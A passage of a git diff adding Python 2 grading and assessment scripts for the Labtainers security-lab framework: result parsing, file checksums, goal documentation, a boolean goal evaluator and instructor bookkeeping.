+ ts_nametags[ts]['PROGRAM_ENDTIME'] = end_times + ts_nametags[ts][result_key] = True + elif command == 'FILE_REGEX': + remain = line.split(command,1)[1] + remain = remain.split(':', 1)[1].strip() + sobj = re.search(remain, currentline) + if sobj is not None: + if ts not in ts_nametags: + ts_nametags[ts] = {} + ts_nametags[ts]['PROGRAM_ENDTIME'] = end_times + ts_nametags[ts][result_key] = True + +def ParseConfigForTimeDelim(studentlabdir, labidname, configfilelines, ts_jsonfname, container_list, logger, parameter_list): + ''' + Handle case of timestamped log files whose names are qualified by a + "time delimiter" program whose start times will + be used to break up a timestamped log file. The quantity of timestamped groupings + of log file results will be one plus the quantity of invocations of the "time delimeter" program. + ''' + ts_nametags = {} + for line in configfilelines: + linestrip = line.rstrip() + if linestrip is not None and not linestrip.startswith('#') and len(line.strip())>0: + containername, targetfile, result_key, command, field_type, token_id, lookupstring, result_home = getConfigItems(labidname, linestrip, studentlabdir, container_list, logger, parameter_list) + if targetfile is not None and ':' in targetfile: + doFileTimeDelim(ts_nametags, result_home, targetfile, result_key, command, lookupstring, logger) + elif targetfile is not None and command == 'TIME_DELIM': + ''' set of timestamped values delimited by named program ''' + logger.DEBUG('targetfile is time delim %s ' % (targetfile)) + look_for = os.path.join(result_home,'%s.stdout.*' % targetfile) + #print('look for %s' % look_for) + delim_list = glob.glob(look_for) + delim_ts_set = [] + prev_ts = 0 + for delim_ts_file in sorted(delim_list): + end_time='99999999999999' + ts = delim_ts_file.rsplit('.',1)[1] + if ts not in ts_nametags: + ts_nametags[ts] = {} + ts_nametags[ts]['PROGRAM_ENDTIME'] = end_time + ts_nametags[ts][result_key] = True + if prev_ts != 0: + ts_nametags[prev_ts]['PROGRAM_ENDTIME'] = ts + prev_ts = ts + + + if len(ts_nametags) > 0: + jsonoutput = open(ts_jsonfname, "w") + for ts in ts_nametags: + for key in ts_nametags[ts]: + old = ts_nametags[ts][key] + new = repr(old) + ts_nametags[ts][key] = new + try: + jsondumpsoutput = json.dumps(ts_nametags, indent=4) + except: + logger.ERROR('json dumps failed on %s' % ts_nametags) + exit(1) + jsonoutput.write(jsondumpsoutput) + jsonoutput.write('\n') + jsonoutput.close() + + +def ParseConfigForFile(studentlabdir, labidname, configfilelines, + outputjsonfname, container_list, timestamppart, end_time, logger, parameter_list): + ''' + Invoked for each timestamp to parse results for that timestamp. + Each config file line is assessed against each results file that corresponds + to the given timestamp. If timestamp is None, then look at all files that + match the name found in the configuration file line, (e.g., for log files + without timestamps.) + ''' + #print('in ParseConfigForFile outputjsonfile: %s timestamppart %s' % (outputjsonfname, timestamppart)) + nametags = {} + got_one = False + for line in configfilelines: + linestrip = line.rstrip() + if linestrip is not None and not linestrip.startswith('#') and len(line.strip())>0: + got_one = got_one | handleConfigFileLine(labidname, linestrip, nametags, studentlabdir, + container_list, timestamppart, logger, parameter_list) + + if end_time is not None: + program_end_time = end_time + else: + program_end_time = 'NONE' + if got_one: + nametags['PROGRAM_ENDTIME'] = program_end_time + #print nametags + #print('will dump to %s' % outputjsonfname) + jsonoutput = open(outputjsonfname, "w") + for key in nametags: + old = nametags[key] + new = repr(old) + nametags[key] = new + #print('nametags[%s] = %s' % (key, new)) + try: + jsondumpsoutput = json.dumps(nametags, indent=4) + except: + print('json dumps failed on %s' % nametags) + exit(1) + #print('dumping %s' % str(jsondumpsoutput)) + jsonoutput.write(jsondumpsoutput) + jsonoutput.write('\n') + jsonoutput.close() + +# Note this can be called directly also +def ParseValidateResultConfig(actual_parsing, homedir, studentlabdir, container_list, labidname, logger_in, parameter_list): + bool_results = [] + MYHOME = homedir + logger = logger_in + configfilename = os.path.join(MYHOME,'.local','instr_config', 'results.config') + configfile = open(configfilename) + configfilelines = configfile.readlines() + configfile.close() + + for line in configfilelines: + linestrip = line.rstrip() + if linestrip: + if not linestrip.startswith('#'): + #print "Current linestrip is (%s)" % linestrip + try: + (result_key, result_value) = linestrip.split('=', 1) + except: + logger.ERROR('missing "=" character in %s' % linestrip) + sys.exit(1) + result_key = result_key.strip() + progname_type, cmd = ProcessConfigLine(actual_parsing, studentlabdir, container_list, labidname, result_key, result_value, logger) + if result_key not in resultidlist: + resultidlist[result_key] = progname_type + if cmd == 'CONTAINS' or (cmd is not None and cmd.startswith('FILE_REGEX')): + bool_results.append(result_key.strip()) + #else: + # print "Skipping empty linestrip is (%s)" % linestrip + + return configfilelines, resultidlist, bool_results + +def ParseStdinStdout(homedir, studentlabdir, container_list, instructordir, labidname, logger_in): + MYHOME = homedir + logger = logger_in + actual_parsing = True + ''' pick a container directory from which to extract the lab instance seed for parameter replacements ''' + container_dir = os.path.join(studentlabdir, container_list[0]) + parameter_list = getParamList(MYHOME, container_dir, logger) + # Parse and Validate Results configuration file + configfilelines, resultlist, bool_results = ParseValidateResultConfig(actual_parsing, homedir, studentlabdir, + container_list, labidname, logger_in, parameter_list) + + ''' process all results files (ignore name of function) for a student. These + are distrbuted amongst multiple containers, per container_list. + ''' + jsonoutputfilename = labidname + #print("ParseStdinStdout: jsonoutputfilename is (%s) studentlabdir %s" % (jsonoutputfilename, studentlabdir)) + logger.DEBUG("ParseStdinStdout: jsonoutputfilename is (%s) studentlabdir %s" % (jsonoutputfilename, studentlabdir)) + + timestamplist.clear() + + #del exec_proglist[:] + del stdoutfnameslist[:] + + #print "exec_proglist is: " + #print exec_proglist + OUTPUTRESULTHOME = '%s/%s' % (studentlabdir, ".local/result/") + logger.DEBUG('Done with validate, outputresult to %s' % OUTPUTRESULTHOME) + + if not os.path.exists(OUTPUTRESULTHOME): + os.makedirs(OUTPUTRESULTHOME) + + bool_results_file = os.path.join(OUTPUTRESULTHOME, 'bool_results.json') + with open(bool_results_file, 'w') as fh: + json.dump(bool_results, fh, indent=4) + + ''' + A round-about-way of getting all time stamps + ''' + for mycontainername in container_list: + RESULTHOME = '%s/%s/%s' % (studentlabdir, mycontainername, ".local/result/") + logger.DEBUG('check results for %s' % RESULTHOME) + if not os.path.exists(RESULTHOME): + ''' expected, some containers don't have local results ''' + logger.DEBUG('result directory %s does not exist' % RESULTHOME) + pass + + if mycontainername not in container_exec_proglist: + logger.DEBUG('%s not in proglist %s' % (mycontainername, str(container_exec_proglist))) + continue + + for exec_prog in container_exec_proglist[mycontainername]: + stdinfiles = '%s%s.%s.' % (RESULTHOME, exec_prog, "stdin") + stdoutfiles = '%s%s.%s.' % (RESULTHOME, exec_prog, "stdout") + prgoutfiles = '%s%s.%s.' % (RESULTHOME, exec_prog, "prgout") + logger.DEBUG('stdin %s stdout %s' % (stdinfiles, stdoutfiles)) + globstdinfnames = glob.glob('%s*' % stdinfiles) + globstdoutfnames = glob.glob('%s*' % stdoutfiles) + if globstdoutfnames != []: + #print "stdoutfnameglob list is " + #print globstdoutfnames + for stdoutfnames in globstdoutfnames: + #print stdoutfnames + stdoutfnameslist.append(stdoutfnames) + globprgoutfnames = glob.glob('%s*' % prgoutfiles) + if globprgoutfnames != []: + for prgoutfnames in globprgoutfnames: + stdoutfnameslist.append(prgoutfnames) + + for stdoutfname in stdoutfnameslist: + # the only purpose of this is to establish the timestamp dictionary + # only stdout is looked at. + #print('for stdout %s' % stdoutfname) + for exec_prog in container_exec_proglist[mycontainername]: + stdoutfiles = '%s%s.%s.' % (RESULTHOME, exec_prog, "stdout") + if stdoutfiles in stdoutfname: + #print "match" + (filenamepart, timestamppart) = stdoutfname.split(stdoutfiles) + targetmtime = os.path.getmtime(stdoutfname) + if timestamppart not in timestamplist: + #print('adding %s' % timestamppart) + timestamplist[timestamppart] = targetmtime + elif targetmtime > timestamplist[timestamppart]: + timestamplist[timestamppart] = targetmtime + else: + #print "no match" + continue + + ''' process each timestamped result file. ''' + for timestamppart in timestamplist: + targetmtime_string = datetime.datetime.fromtimestamp(timestamplist[timestamppart]) + end_time = targetmtime_string.strftime("%Y%m%d%H%M%S") + outputjsonfname = '%s%s.%s' % (OUTPUTRESULTHOME, jsonoutputfilename, timestamppart) + logger.DEBUG("ParseStdinStdout (1): Outputjsonfname is (%s)" % outputjsonfname) + ParseConfigForFile(studentlabdir, labidname, configfilelines, outputjsonfname, + container_list, timestamppart, end_time, logger, parameter_list) + ''' process files without timestamps ''' + outputjsonfname = '%s%s' % (OUTPUTRESULTHOME, jsonoutputfilename) + ParseConfigForFile(studentlabdir, labidname, configfilelines, outputjsonfname, container_list, None, None, logger, parameter_list) + ts_jsonfname = outputjsonfname+'_ts' + ParseConfigForTimeRec(studentlabdir, labidname, configfilelines, ts_jsonfname, container_list, logger, parameter_list) + td_jsonfname = outputjsonfname+'_td' + ParseConfigForTimeDelim(studentlabdir, labidname, configfilelines, td_jsonfname, container_list, logger, parameter_list) + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/UniqueCheck.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/UniqueCheck.py new file mode 100755 index 000000000..0142855f0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/UniqueCheck.py @@ -0,0 +1,272 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# UniqueCheck.py +# Description: * Read unique.config +# * Parse stdin and stdout files based on unique.config +# * Create a json file + +import json +import md5 +import os +import re +import sys +import MyUtil +from parse import * + +MYHOME = "" +logfilelist = [] +line_types = ['CHECKSUM'] +logger = None +uniqueidlist = {} + +def findLineIndex(values): + for ltype in line_types: + if ltype in values: + return values.index(ltype) + + return None + +def ValidateUniqueConfig(actual_parsing, studentlabdir, container_list, labidname, each_key, each_value, logger): + valid_field_types = ['CHECKSUM'] + if not MyUtil.CheckAlphaDashUnder(each_key): + logger.ERROR("Not allowed characters in unique.config's key (%s)" % each_key) + sys.exit(1) + values = [] + # expecting: + # . - [ filename ] : [] + # field_type = (a valid_field_type defined above) - currently only CHECKSUM is supported + + # NOTE: Split using ' : ' - i.e., "space colon space" + values = [x.strip() for x in each_value.split(' : ')] + #print values + numvalues = len(values) + logger.DEBUG("each_value is %s -- numvalues is (%d)" % (each_value, numvalues)) + if numvalues < 2: + logger.ERROR("found no ':' delimiter in %s" % each_value) + sys.exit(1) + if numvalues < 3 and values[1] not in line_types: + logger.ERROR("Offending line: (%s).\n Perhaps there is a missing ':'?" % each_value) + logger.ERROR("unique.config expected %s to be one of these: %s." % (values[1], str(line_types))) + sys.exit(1) + + line_at = findLineIndex(values) + if line_at is None: + logger.ERROR('No line_type in %s' % each_value) + sys.exit(1) + num_splits = line_at+1 + #print "line_at is (%d) and num_splits is (%d)" % (line_at, num_splits) + + # NOTE: Split using ' : ' - i.e., "space colon space" + values = [x.strip() for x in each_value.split(' : ', num_splits)] + + newfilename = values[0].strip() + logger.DEBUG('newfilename is %s' % newfilename) + # : + if ':' in newfilename: + cfgcontainername, filename = newfilename.split(':', 1) + else: + if len(container_list) > 1: + logger.ERROR('No container name found in multi container lab entry (%s = %s)' % (each_key, each_value)) + sys.exit(1) + cfgcontainername = "" + filename = newfilename + # Construct proper containername from cfgcontainername + if cfgcontainername == "": + containername = "" + else: + containername = labidname + "." + cfgcontainername + ".student" + + if filename not in logfilelist: + logfilelist.append(filename) + + return newfilename + +def handleUniqueConfig(labidname, line, nametags, studentlabdir, container_list, logger): + retval = True + targetlines = None + #print('line is %s' % line) + logger.DEBUG('line is %s' % line) + (each_key, each_value) = line.split('=', 1) + each_key = each_key.strip() + + #print each_key + # Note: config file has been validated + # Split into four parts or five parts + # NOTE: Split using ' : ' - i.e., "space colon space" + values = [x.strip() for x in each_value.split(' : ')] + line_at = findLineIndex(values) + num_splits = line_at+1 + # NOTE: Split using ' : ' - i.e., "space colon space" + values = [x.strip() for x in each_value.split(' : ', num_splits)] + newtargetfile = values[0].strip() + logger.DEBUG('line_at is %d newtargetvalue = %s, values: %s' % (line_at, newtargetfile, str(values))) + #print('newtargetfile is %s' % newtargetfile) + # :. + containername = None + if ':' in newtargetfile: + cfgcontainername, targetfile = newtargetfile.split(':', 1) + else: + ''' default to first container? ''' + #print('first cont is %s' % container_list[0]) + containername = container_list[0] + targetfile = newtargetfile + # Construct proper containername from cfgcontainername + if containername is None: + containername = labidname + "." + cfgcontainername + ".student" + result_home = '%s/%s/%s' % (studentlabdir, containername, ".local/result/") + + if targetfile.startswith('/'): + targetfile = os.path.join(result_home, targetfile[1:]) + #print('targetfile is %s containername is %s' % (targetfile, containername)) + logger.DEBUG('targetfile is %s, containername is %s' % (targetfile, containername)) + if containername is not None and containername not in container_list: + print "Config line (%s) containername %s not in container list (%s), skipping..." % (line, containername, str(container_list)) + logger.DEBUG("Config line (%s) containername %s not in container list (%s), skipping..." % (line, + containername, str(container_list))) + # set nametags - value pair to NONE + nametags[targetfile] = "NONE" + return False + + command = values[line_at].strip() + targetfname_list = [] + + if targetfile.startswith('~/'): + targetfile = targetfile[2:] + targetfname = os.path.join(studentlabdir, containername, targetfile) + #print "targetfname is (%s)" % targetfname + #print "labdir is (%s)" % studentlabdir + + targetfname_list.append(targetfname) + + #print "Current targetfname_list is %s" % targetfname_list + + tagstring = "NONE" + # Loop through targetfname_list + for current_targetfname in targetfname_list: + if not os.path.exists(current_targetfname): + # If file does not exist, treat as can't find token + token = "NONE" + logger.DEBUG("No %s file does not exist\n" % current_targetfname) + nametags[targetfile] = token + return False + else: + # Read in corresponding file + targetf = open(current_targetfname, "r") + targetlines = targetf.readlines() + targetf.close() + targetfilelen = len(targetlines) + #print('current_targetfname %s' % current_targetfname) + + # command has been validated + if command == 'CHECKSUM': + ''' Create a checksum of the targetfile ''' + mymd5 = md5.new() + targetlinestring = "".join(targetlines) + mymd5.update(targetlinestring) + tagstring = mymd5.hexdigest() + nametags[targetfile] = tagstring + #print('tag string is %s for eachkey %s' % (tagstring, each_key)) + return True + else: + # config file should have been validated + # - if still unknown command, then should exit + logger.ERROR('unknown command %s' % command) + sys.exit(1) + +def handleFileUniqueCheck(studentlabdir, labidname, configfilelines, outputjsonfname, container_list, logger): + #print('in handleFileUniqueCheck outputjsonfile: %s' % outputjsonfname) + nametags = {} + got_one = False + for line in configfilelines: + linestrip = line.rstrip() + if linestrip is not None and not linestrip.startswith('#') and len(line.strip())>0: + got_one = got_one | handleUniqueConfig(labidname, linestrip, nametags, studentlabdir, container_list, logger) + + if got_one: + #print nametags + #print('will dump to %s' % outputjsonfname) + jsonoutput = open(outputjsonfname, "w") + for key in nametags: + old = nametags[key] + new = repr(old) + nametags[key] = new + #print('nametags[%s] = %s' % (key, new)) + try: + jsondumpsoutput = json.dumps(nametags, indent=4) + except: + print('json dumps failed on %s' % nametags) + exit(1) + #print('dumping %s' % str(jsondumpsoutput)) + jsonoutput.write(jsondumpsoutput) + jsonoutput.write('\n') + jsonoutput.close() + +# Note this can be called directly also +def ParseUniqueConfig(actual_parsing, homedir, studentlabdir, container_list, labidname, logger_in): + MYHOME = homedir + logger = logger_in + configfilename = os.path.join(MYHOME,'.local','instr_config', 'unique.config') + configfile = open(configfilename) + configfilelines = configfile.readlines() + configfile.close() + + for line in configfilelines: + linestrip = line.rstrip() + if linestrip: + if not linestrip.startswith('#'): + #print "Current linestrip is (%s)" % linestrip + try: + (each_key, each_value) = linestrip.split('=', 1) + except: + logger.ERROR('missing "=" character in %s' % linestrip) + sys.exit(1) + each_key = each_key.strip() + newfilename = ValidateUniqueConfig(actual_parsing, studentlabdir, container_list, labidname, each_key, each_value, logger) + if each_key not in uniqueidlist: + uniqueidlist[each_key] = newfilename + #else: + # print "Skipping empty linestrip is (%s)" % linestrip + + return configfilelines, uniqueidlist + +def UniqueCheck(homedir, studentlabdir, container_list, instructordir, labidname, logger_in): + MYHOME = homedir + logger = logger_in + actual_parsing = True + # Parse and Validate unique.config file + configfilelines, uniquelist = ParseUniqueConfig(actual_parsing, homedir, studentlabdir, container_list, labidname, logger_in) + + jsonoutputfilename = labidname + logger.DEBUG("UniqueCheck: jsonoutputfilename is (%s) studentlabdir %s" % (jsonoutputfilename, studentlabdir)) + + del logfilelist[:] + + #print "exec_proglist is: " + #print exec_proglist + #print "logfilelist is: " + #print logfilelist + OUTPUTRESULTHOME = '%s/%s' % (studentlabdir, ".local/result/") + logger.DEBUG('Done with validate, outputresult to %s' % OUTPUTRESULTHOME) + + if not os.path.exists(OUTPUTRESULTHOME): + os.makedirs(OUTPUTRESULTHOME) + + outputjsonfname = '%s%s.unique' % (OUTPUTRESULTHOME, jsonoutputfilename) + handleFileUniqueCheck(studentlabdir, labidname, configfilelines, outputjsonfname, container_list, logger) + + uniquejsonfile = open(outputjsonfname, "r") + uniquevalues = json.load(uniquejsonfile) + uniquejsonfile.close() + + return uniquevalues + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/docgoals.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/docgoals.py new file mode 100755 index 000000000..1005ce610 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/docgoals.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' +import sys +import os + +''' +Parse goals.config and results.config and display embedded documentation +intended to describe the meaning of each goal. + + +''' + +def doDoc(fpath): + lines = [] + with open(fpath) as fh: + #for line in fh: + leftover=False + while True: + if not leftover: + line = fh.readline() + else: + leftover = False + if line is None or len(line)==0: + break + if line.startswith('#'): + rest = line[1:] + if ':' in rest: + directive, text = rest.split(':', 1) + directive = directive.strip() + text = text.strip() + if directive == 'DOC': + #for line in fh: + while True: + line = fh.readline() + if line is None or len(line)==0: + break + if line.startswith('#'): + text = text + '\n\t\t'+ line[1:].strip() + else: + line = line.strip() + if len(line) > 0: + parts = line.split() + sym = parts[0] + #print('\t%s: %s' % (sym, text)) + lines.append('\t%s: %s' % (sym, text)) + break + elif directive == 'GROUP': + symbols = [] + #for line in fh: + while True: + line = fh.readline() + if line is None or len(line)==0: + break + + if line.startswith('#'): + if len(symbols) > 0: + leftover = True + break + text = text + '\n\t'+ line[1:].strip() + else: + line = line.strip() + if len(line) > 0: + parts = line.split() + sym = parts[0] + symbols.append(sym) + else: + break + symlist = ', '.join(symbols) + #print('\t%s: %s' % (symlist, text)) + lines.append('\t%s: %s' % (symlist, text)) + elif directive == 'SUM': + #for line in fh: + while True: + line = fh.readline() + if line is None or len(line)==0: + break + if line.startswith('#') and len(line.strip())>1: + text = text + '\n\t\t'+ line[1:].strip() + else: + #print('\t'+text) + lines.append('\t'+text) + break + return "\n".join(lines) + +def getGoalInfo(instr_config_path): + header='What is automatically assessed for this lab:\n' + results_path = os.path.join(instr_config_path, 'results.config') + results_summary = doDoc(results_path) + goals_path = os.path.join(instr_config_path, 'goals.config') + summary = doDoc(goals_path) + return header+results_summary+'\n'+summary+'\n' + +if __name__ == "__main__": + labname = sys.argv[1] + print getGoalInfo(labname) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/evalBoolean.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/evalBoolean.py new file mode 100755 index 000000000..50af868a9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/evalBoolean.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +''' + Evaluate a boolean expression given a dictionary of values. + evaluate_boolean_expression(s, the_dict): + Where: s is the expression (e.g., "goal1 and (goal2 or goal3)" + the_dict is a dictionary of boolean values, e.g., the_dict['goal1'] = True. + See test cases in __main__ +''' +str_to_token = {'True':True, + 'False':False, + 'and':lambda left, right: left and right, + 'or':lambda left, right: left or right, + 'and_not':lambda left, right: left and (not right), + 'or_not':lambda left, right: left or (not right), + 'not':'not', + '(':'(', + ')':')'} + +empty_res = True + + +def create_token_lst(s, str_to_token=str_to_token): + """create token list: + 'True or False' -> [True, lambda..., False]""" + s = s.replace('(', ' ( ') + s = s.replace(')', ' ) ') + return [str_to_token[it] for it in s.split()] + + +def find(lst, what, start=0): + return [i for i,it in enumerate(lst) if it == what and i >= start] + + +def parens(token_lst): + """returns: + (bool)parens_exist, left_paren_pos, right_paren_pos + """ + left_lst = find(token_lst, '(') + + if not left_lst: + return False, -1, -1 + + left = left_lst[-1] + + #can not occur earlier, hence there are args and op. + right = find(token_lst, ')', left + 4)[0] + + return True, left, right + + +def bool_eval(token_lst): + '''token_lst has format: [left_arg, operator, right_arg] + operator(left_arg, right_arg) is returned + but optionally first token is not, which negates the result + if more than one operator are provided, we iterate through them''' + is_not = None + if token_lst[0] == 'not': + #print('is not, will pop!!!!') + is_not = token_lst.pop(0) + token_lst[0] = not token_lst[0] + if len(token_lst) == 1: + ''' simple case of boolean : not foo ''' + return token_lst[0] + #print('%s(%s, %s)' % (token_lst[1], token_lst[0], token_lst[2])) + tmp = token_lst[1](token_lst[0], token_lst[2]) + #print('bool_eval evaluates to %r' % tmp) + token_lst.pop(0) + token_lst.pop(0) + token_lst.pop(0) + while len(token_lst) > 0: + #print('tokens now %s' % str(token_lst)) + tmp = token_lst[0](tmp, token_lst[1]) + token_lst.pop(0) + token_lst.pop(0) + return tmp + + +def formatted_bool_eval(token_lst, empty_res=empty_res): + """eval a formatted (i.e. of the form 'ToFa(ToF)') string""" + if not token_lst: + return empty_res + + #print('formatted_bool_eval len is %d' % len(token_lst)) + #print(str(token_lst)) + if len(token_lst) == 1: + return token_lst[0] + + has_parens, l_paren, r_paren = parens(token_lst) + + if not has_parens: + return bool_eval(token_lst) + + token_lst[l_paren:r_paren + 1] = [bool_eval(token_lst[l_paren+1:r_paren])] + return formatted_bool_eval(token_lst, bool_eval) + + +def nested_bool_eval(s): + """The actual 'eval' routine, + if 's' is empty, 'True' is returned, + otherwise 's' is evaluated according to parentheses nesting. + The format assumed: + [1] 'LEFT OPERATOR RIGHT', + where LEFT and RIGHT are either: + True or False or '(' [1] ')' (subexpression in parentheses) + """ + return formatted_bool_eval(create_token_lst(s)) + +def evaluate_boolean_expression(s, the_dict, logger, goals): + left = s.count('(') + right = s.count(')') + if left != right: + print 'ERROR unbalanced parens' + exit(1) + replacelist = [] + for key, value in the_dict.items(): + if key not in replacelist: + replacelist.append(key) + #print('len of replace list is %d' % len(replacelist)) + #print(str(replacelist)) + sorted_replacelist = sorted(replacelist, key=len, reverse=True) + for item in sorted_replacelist: + if item in s: + value = '%r' % the_dict[item] + #print('s %s item %s value %s' % (s, item, value)) + s = s.replace(item, value) + + tokens = ['(',')',' and_not ', ' AND_NOT ', ' or_not ', ' OR_NOT ', ' not ',' NOT ','not ','NOT ',' and ',' AND ', + ' or ',' OR ',' True ',' False ', 'True ', ' True', 'False ', ' False'] + remains = s + for t in tokens: + remains = remains.replace(t,' ') + #print('goals is %s' % str(goals)) + if len(remains.strip()) > 0: + got_unknown = False + for rem in remains.split(): + if rem not in goals: + logger.DEBUG('*** unknown token <%s>' % rem) + got_unknown = True + if not got_unknown: + logger.DEBUG('goal values not set for this timestamp %s' % (remains)) + return None + + return nested_bool_eval(s) + +if __name__ == "__main__": + t_dict = {} + t_dict['goal1'] = True + t_dict['goal2'] = False + t_dict['goal3'] = True + t_dict['goal4'] = True + + t_string = 'goal1 and goal4 and_not goal2' + print('%s evaluates to %r' % (t_string, evaluate_boolean_expression(t_string, t_dict))) + exit(1) + t_string = 'goal1 and (not goal2 and goal3)' + print('%s evaluates to %r' % (t_string, evaluate_boolean_expression(t_string, t_dict))) + exit(1) + t_string = 'goal1 and (goal2 or goal3) and goal4' + print('%s evaluates to %r' % (t_string, evaluate_boolean_expression(t_string, t_dict))) + + t_string = 'goal1 or ((goal2 or goal3) and goal4)' + print('%s evaluates to %r' % (t_string, evaluate_boolean_expression(t_string, t_dict))) + t_string = 'goal1 and_not ((goal2 or goal3) and goal4)' + print('%s evaluates to %r' % (t_string, evaluate_boolean_expression(t_string, t_dict))) + + t_string = 'goal1 and (goal2 or goal3) or goal7' + print('%s evaluates to %r' % (t_string, evaluate_boolean_expression(t_string, t_dict))) + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/evalExpress.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/evalExpress.py new file mode 100644 index 000000000..b88ad2492 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/evalExpress.py @@ -0,0 +1,27 @@ +import ast +import operator as op +# supported operators +operators = {ast.Add: op.add, ast.Sub: op.sub, ast.Mult: op.mul, + ast.Div: op.truediv, ast.Pow: op.pow, ast.BitXor: op.xor, + ast.USub: op.neg} + +def eval_expr(expr): + """ + >>> eval_expr('2^6') + 4 + >>> eval_expr('2**6') + 64 + >>> eval_expr('1 + 2*3**(4^5) / (6 + -7)') + -5.0 + """ + return eval_(ast.parse(expr, mode='eval').body) + +def eval_(node): + if isinstance(node, ast.Num): # + return node.n + elif isinstance(node, ast.BinOp): # + return operators[type(node.op)](eval_(node.left), eval_(node.right)) + elif isinstance(node, ast.UnaryOp): # e.g., -1 + return operators[type(node.op)](eval_(node.operand)) + else: + raise TypeError(node) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/instructor.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/instructor.py new file mode 100755 index 000000000..4d424e225 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/instructor.py @@ -0,0 +1,453 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# Instructor.py +# Description: * Read instructorlab.json and extract a zip file +# containing the student lab work +# * Call script to grade the student lab work + +import copy +import json +import md5 +import os +import sys +import zipfile +import time +import glob +import shutil +import GenReport +import Grader +import GoalsParser +import ResultParser +import UniqueCheck +import InstructorLogging +import string +import LabCount + +MYHOME=os.getenv('HOME') +logger = InstructorLogging.InstructorLogging("/tmp/instructor.log") + + +def newStudentJson(): + student_json = {} + student_json['parameter'] = {} + student_json['grades'] = {} + student_json['firstlevelzip'] = {} + student_json['secondlevelzip'] = {} + student_json['actualwatermark'] = {} + student_json['expectedwatermark'] = {} + student_json['labcount'] = {} + return student_json + + + +def store_student_labcount(gradesjson, email_labname, student_lab_count): + logger.DEBUG('store_student_labcount email_labname %s' % (email_labname)) + if email_labname not in gradesjson: + gradesjson[email_labname] = newStudentJson() + else: + if gradesjson[email_labname]['labcount'] != {}: + # Already have that student's labcount stored + logger.ERROR("instructor.py store_student_labcount: duplicate email_labname %s labcount %s" % (email_labname, labcount)) + sys.exit(1) + gradesjson[email_labname]['labcount'] = copy.deepcopy(student_lab_count) + +def store_student_watermark(gradesjson, email_labname, actual_watermark, expected_watermark): + logger.DEBUG('store_student_watermal email_labname %s actual %s expected %s' % (email_labname, actual_watermark, expected_watermark)) + if email_labname not in gradesjson: + gradesjson[email_labname] = newStudentJson() + gradesjson[email_labname]['actualwatermark'] = actual_watermark + gradesjson[email_labname]['expectedwatermark'] = expected_watermark + +def store_student_firstlevelzip(gradesjson, email_labname, first_zip_name): + logger.DEBUG('store_student_firstlevelzip email_labname %s first_zip_name %s' % (email_labname, first_zip_name)) + if email_labname not in gradesjson: + gradesjson[email_labname] = newStudentJson() + gradesjson[email_labname]['firstlevelzip'] = first_zip_name + +def store_student_secondlevelzip(gradesjson, email_labname, second_zip_name): + logger.DEBUG('store_student_secondlevelzip email_labname %s second_zip_name %s' % (email_labname, second_zip_name)) + if email_labname not in gradesjson: + gradesjson[email_labname] = newStudentJson() + gradesjson[email_labname]['secondlevelzip'] = second_zip_name + +def store_student_parameter(gradesjson, email_labname, student_parameter): + logger.DEBUG('store_student_parameter email_labname %s student_parameter %s' % (email_labname, student_parameter)) + if email_labname not in gradesjson: + gradesjson[email_labname] = newStudentJson() + if gradesjson[email_labname]['parameter'] != {}: + # Already have that student's parameter stored + logger.ERROR("instructor.py store_student_parameter: duplicate email_labname %s student_parameter %s" % (email_labname, student_parameter)) + sys.exit(1) + gradesjson[email_labname]['parameter'] = copy.deepcopy(student_parameter) + +def store_student_grades(gradesjson, email_labname, grades): + logger.DEBUG('store_student_grades email_labname %s grades %s' % (email_labname, grades)) + if email_labname not in gradesjson: + gradesjson[email_labname] = newStudentJson() + if gradesjson[email_labname]['grades'] != {}: + # Already have that student's grades stored + logger.ERROR("instructor.py store_student_grades: duplicate email_labname %s grades %s" % (email_labname, grades)) + sys.exit(1) + gradesjson[email_labname]['grades'] = copy.deepcopy(grades) + +def store_student_unique(uniquejson, email_labname, uniquevalues): + logger.DEBUG('store_student_unique email_labname %s unique %s' % (email_labname, uniquevalues)) + if email_labname not in uniquejson: + uniquejson[email_labname] = {} + 